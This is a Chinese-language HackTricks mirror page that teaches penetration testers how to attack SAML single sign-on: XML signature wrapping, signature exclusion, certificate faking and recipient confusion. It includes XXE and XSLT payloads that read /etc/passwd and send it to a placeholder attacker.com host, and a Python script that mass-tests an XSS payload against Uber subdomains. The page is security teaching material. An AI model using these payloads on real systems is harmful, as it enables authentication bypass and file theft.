Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-26 22:52:06 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/saml-attacks
History
Translator workflow a21a0e7217 Translated to Chinese
2023-08-03 19:12:22 +00:00
..
README.md Translated to Chinese 2023-08-03 19:12:22 +00:00
saml-basics.md Translated to Chinese 2023-08-03 19:12:22 +00:00

README.md

SAML攻击

SAML攻击

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

基本信息

{% content-ref url="saml-basics.md" %} saml-basics.md {% endcontent-ref %}

攻击图

工具

SAMLExtractor：一个可以接收URL或URL列表并返回SAML消费URL的工具。

XML往返

在XML中，XML的签名部分保存在内存中，然后进行一些编码/解码操作，并进行签名验证。理想情况下，这种编码/解码操作不应该改变数据，但基于这种情况，被验证的数据和原始数据可能不相同。

例如，查看以下代码：

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

运行该程序对REXML 3.2.4或更早版本的结果将如下所示：

First child in original doc: Y
First child after round-trip: Z

这是REXML从上面的程序中看到的原始XML文档：

这是它在解析和序列化一轮后看到的：

有关此漏洞及其滥用方法的更多信息：

XML签名包装攻击

包含XML签名的XML文档通常在两个独立的步骤中进行处理：签名验证和功能调用（业务逻辑）。如果两个模块对数据有不同的观点，则存在一种名为XML签名包装攻击（XSW）的新型漏洞。
在这些攻击中，攻击者通过注入伪造的元素来修改消息结构，这些元素不会使XML签名失效。此修改的目的是以这样的方式改变消息，使应用程序逻辑和签名验证模块使用消息的不同部分。因此，接收者成功验证XML签名，但应用程序逻辑处理伪造的元素。攻击者因此绕过了XML签名的完整性保护和源身份验证，并可以注入任意内容。

从SAML请求中：

XSW #1

攻击者可以在找到签名的地方添加一个新的根元素。因此，当验证器检查签名的完整性时，它可能会注意到它已经检查了Response -> Assertion -> Subject的完整性，并且可能会对红色的邪恶新Response -> Assertion -> Subject路径感到困惑，并使用其数据。

XSW #2

与＃1的区别在于，使用的签名类型是分离的签名，而XSW＃1使用的是包装签名。
请注意，新的邪恶结构与之前相同，试图在完整性检查执行后混淆业务逻辑。

XSW #3

在这种攻击中，恶意Assertion在与原始Assertion相同级别的位置上创建，以试图混淆业务逻辑并使用恶意数据。

XSW #4

XSW＃4与＃3类似，只是在这种情况下，原始Assertion成为复制的Assertion的子级。

XSW #5

在XSW＃5中，签名和原始Assertion不属于三种标准配置之一（包含/包装/分离）。在这种情况下，复制的Assertion包含签名。

XSW #6

XSW＃6将其复制的Assertion插入与＃4和＃5相同的位置。这里有趣的部分是复制的Assertion包含签名，而签名又包含原始Assertion。

XSW #7

XSW＃7插入一个Extensions元素，并将复制的Assertion作为子元素添加。Extensions是一个具有较少限制的模式定义的有效XML元素。这篇白皮书的作者们针对OpenSAML库开发了这种方法。OpenSAML使用模式验证来正确比较签名验证期间使用的ID与处理的Assertion的ID。作者们发现，如果具有与原始Assertion相同ID的复制的Assertions是具有较少限制的模式定义的元素的子元素，他们能够绕过这个特定的对策。

XSW #8

XSW＃8使用另一个较少限制的XML元素来执行XSW＃7中使用的攻击模式的变体。这次，原始Assertion是较少限制元素的子元素，而不是复制的Assertion。

工具

您可以使用Burp扩展程序SAML Raider来解析请求，应用您选择的任何XSW攻击并启动它。

原始论文

有关此攻击的更多信息，请阅读原始论文https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf

XXE

如果您不知道XXE是哪种攻击，请阅读以下页面：

{% content-ref url="../xxe-xee-xml-external-entity.md" %} xxe-xee-xml-external-entity.md {% endcontent-ref %}

由于SAML响应是被压缩和base64编码的XML文档，我们可以通过操纵作为SAML响应发送的XML文档来测试XXE。例如：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

工具

您还可以使用Burp扩展程序SAML Raider从SAML请求生成POC，以测试可能的XXE漏洞。

还可以查看这个讲座：https://www.youtube.com/watch?v=WHn-6xHL7mI

通过SAML进行XSLT攻击

有关XSLT的更多信息，请访问：

{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md {% endcontent-ref %}

可扩展样式表语言转换（XSLT）是一种用于将XML文档转换为其他文档类型（如HTML、JSON或PDF）的图灵完备语言。需要注意的一个重要方面是攻击不需要有效的签名才能成功。原因是XSLT转换在数字签名被处理验证之前发生。基本上，我们需要一个已签名的SAML响应来执行攻击，但签名可以是自签名或无效的。

xslt

在这里，您可以找到一个POC来检查此类漏洞，在本节开头提到的hacktricks页面中，您可以找到有效载荷。

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

工具

您还可以使用Burp扩展程序SAML Raider从SAML请求生成POC，以测试可能存在的XSLT漏洞。

还可以查看此演讲：https://www.youtube.com/watch?v=WHn-6xHL7mI

XML签名排除

签名排除用于测试SAML实现在没有签名元素时的行为。当签名元素不存在时，签名验证步骤可能会被完全跳过。如果未验证签名，则攻击者可能篡改通常会被签名的任何内容。

工具

签名排除始于拦截SAML响应，然后点击“删除签名”。这样做会删除所有签名元素。

sig-exclusion

删除签名后，允许请求继续发送到目标。如果服务不需要签名

证书伪造

证书伪造是测试服务提供商是否验证受信任的身份提供商签署的SAML消息的过程。SP和IdP之间的信任关系在每次接收到SAML消息时都会建立和验证。这归结为使用自签名证书对SAML响应或断言进行签名。

工具

将使用Burp扩展程序SAML Raider。
要伪造证书，请先拦截SAML响应。
如果响应中包含签名，请使用“将证书发送到SAML Raider Certs”按钮。

send-cert

发送证书后，我们应该在SAML Raider Certificates选项卡中看到一个导入的证书。然后，我们突出显示导入的证书并按下“保存并自签名”按钮。

sent-cert

这样做会生成原始证书的自签名克隆。现在是时候回到Burp的代理中拦截的请求了。首先，从XML签名下拉菜单中选择新的自签名证书。然后使用“删除签名”按钮删除任何现有的签名。最后，使用**“(重新)签署消息”或(重新)签署断言按钮（根据您的具体情况选择更合适**的按钮）。

remove-sig

使用自签名证书对消息进行签名后，将其发送出去。如果我们成功进行身份验证，就说明我们可以对SAML消息进行签名。对SAML消息进行签名的能力意味着我们可以更改断言中的值，并且服务提供商将接受这些更改。

令牌接收者混淆/服务提供商目标混淆

令牌接收者混淆/服务提供商目标混淆测试服务提供商是否验证接收者。这意味着，如果响应是为不同的服务提供商而设计的，当前服务提供商应该注意到并拒绝认证。
接收者字段是SAML响应中的Subject元素的子元素SubjectConfirmationData元素的属性。

SubjectConfirmationData元素指定允许确认主体或约束主体确认行为发生的情况下的附加数据。当依赖方试图验证提出断言的实体（即，证明实体）与断言主题的声明之间的关系时，主体确认发生。

在SubjectConfirmationData元素上找到的接收者属性是指定必须传递断言的位置的URL。如果接收者是与接收它的服务提供商不同的服务提供商，则不应接受断言。

如何

SAML令牌接收者混淆（SAML-TRC）在我们尝试利用之前有一些先决条件。首先，我们需要在服务提供商上拥有合法帐户。其次，SP-Target必须接受由服务SP-Legit提供的令牌。

如果条件为真，则攻击相对简单。我们通过共享的身份提供商对SP-Legit进行身份验证。然后，我们拦截从IdP发送到SP-Legit的SAML响应。一旦拦截到，我们将将原本用于SP-Legit的SAML响应发送到SP-Target。如果SP-Target接受断言，我们将发现自己以与SP-Legit相同的帐户名登录，并获得访问SP-Target相应资源的权限。

注销功能中的XSS漏洞

（访问原始研究）

在执行目录爆破后，我找到了以下页面：

https://carbon-prototype.uberinternal.com:443/oidauth/logout

这是一个注销页面，我打开了上面的链接，它将我重定向到以下页面

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

base参数接受一个URL，那么我们可以将其替换为经典的javascript:alert(123);来触发XSS漏洞。

大规模利用

使用SAMLExtractor工具，它可以接受一个URL列表，并返回回调（SAML消费）URL。我决定将uberinternal.com的所有子域名提供给该工具，以查看是否有其他使用相同库的域名，结果发现了一个。

接下来，我创建了一个脚本，调用了易受攻击的页面oidauth/prompt，并尝试进行XSS攻击。如果我的输入被反射回来，就会显示一个易受攻击的消息。

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

参考资料

这些攻击是从https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/获取的
您可以在https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/找到其他资源和解析。

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥